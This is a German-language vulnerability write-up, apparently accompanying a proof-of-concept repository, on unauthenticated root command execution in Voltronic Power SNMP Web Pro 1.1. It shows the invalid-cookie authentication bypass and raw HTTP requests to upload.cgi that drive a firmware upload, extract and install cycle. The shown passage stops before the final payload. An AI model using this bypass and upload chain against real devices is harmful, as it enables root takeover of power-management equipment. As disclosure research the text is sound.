
Vorauthentifizierte vollständige Remote-Befehlsausführung mit Root-Rechten in Voltronic Power SNMP Web Pro 1.1
Vollständige Remote-Befehlsausführung ohne vorherige Authentifizierung in Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 enthält eine nicht authentifizierte Remote-Codeausführungsschwachstelle im Endpunkt upload.cgi. Die Firmware-Update-Funktion erlaubt es Benutzern, ein Tar-Archiv hochzuladen, das anschließend ohne Eingabevalidierung oder Sicherheitsprüfungen extrahiert und installiert wird. Die Anwendung schränkt die Archivinhalte weder ein noch bereinigt sie diese, sodass ein Angreifer ein präpariertes Archiv mit schädlichen CGI-Skripten hochladen kann. Mit ein wenig Versuch und Irrtum – und viel Hilfe durch die Informationen, die jede Antwort preisgibt – lässt sich das erwartete Archivformat herausfinden und ein bösartiges Archiv erstellen.
Darüber hinaus validiert der Endpunkt die Authentifizierung nicht ordnungsgemäß: Es genügt, ein manipuliertes oder ungültiges Session-Cookie zu senden, um die Zugriffskontrollen zu umgehen und die verwundbare Funktionalität ohne gültige Anmeldedaten zu erreichen, obwohl das Frontend für die Nutzung eindeutig eine Anmeldung verlangt.
Eine erfolgreiche Ausnutzung erlaubt es einem Angreifer, beliebige ausführbare Dateien im CGI-Serververzeichnis zu platzieren und Befehle mit Root-Rechten auszuführen.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Alles Folgende wurde gegen eine lokale Instanz (http://localhost:5555) durchgeführt. Zwei Dinge machen diese Übung von Anfang an trivial:
Cookie: -http-session-=NOT_VALID-Header genügt für jede Anfrage – der sid-Query-Parameter ist ein zufälliger Wert, der vom JavaScript des Frontends erzeugt wird und vom Server gleichermaßen ignoriert wird.Die folgenden Schritte folgen dieser Schleife. Die Anfragen sind auf die Mindestanzahl an Headern reduziert, die der Server tatsächlich beachtet.
Die allererste Anfrage verrät uns bereits, wo der Server das Firmware-Archiv erwartet. Beachte, dass params=extract das CGI auffordert, ein Archiv zu extrahieren, nicht eines zu empfangen: Es wurde noch nichts hochgeladen, der Endpunkt versucht lediglich, das zu entpacken, was er auf der Festplatte erwartet.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Antwort:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
Der Antworttext ist Gold wert. Neben dem (NAK (negative Bestätigung), das uns mitteilt, dass der Vorgang fehlgeschlagen ist, ist die rohe Ausgabe des tar-Binärprogramms wörtlich in der Antwort eingebettet: Es versucht, /root/upgrade.tar.gz zu extrahieren. Beachte außerdem den Zielpfad /root – wir haben es mit einem privilegierten Prozess zu tun.
Zwei Fakten für den Ausnutzungsplan:
upgrade.tar.gz umbenannt und nach /root gelegt. Unser Dateiname spielt keine Rolle.Erstelle zunächst ein Dummy-Tar-Archiv (der Upload ist ein Multipart-POST; sein Ablauf ist nicht interessant – die GET-Aufrufe steuern das gesamte Verhalten):
tar czvf test.tar.gz test.txt
test.txt
Starte den Zyklus: Lade das Archiv hoch, extrahiere es dann:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK – die Extraktion lief ohne Beanstandung durch. Der Zyklus (Upload -> Extraktion -> Installation) ist die Struktur dieses gesamten Exploits; von nun an ändert sich nur der Installationsschritt, daher zeigen die nächsten Abläufe nur noch die Anfragezeile und den Antworttext (die Header bleiben identisch zu den obigen).
upgradeDie Extraktion funktioniert, also ist es Zeit zu installieren. Die Antwort weicht erwartungsgemäß ab:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
Wieder (ACK, aber die Überreste eines Shell-Befehls lecken durch: cd: line 1: can't cd to /root/upgrade*. Der Installer führt beliebige Shell-Befehle aus – er versucht, per cd in einen Glob zu wechseln, der zu einem Ordner namens upgrade im extrahierten Archiv expandiert. Unser harmloses flaches Archiv (test.txt im Wurzelverzeichnis) erfüllt den Glob nicht. Einfache Lösung: Neu verpacken mit einem upgrade/-Verzeichnis auf oberster Ebene.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Wiederhole dann die ersten beiden Schritte des Zyklus: erneut hochladen, erneut extrahieren.
install.shDerselbe Installationsaufruf erneut, und das Leck wird noch besser:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory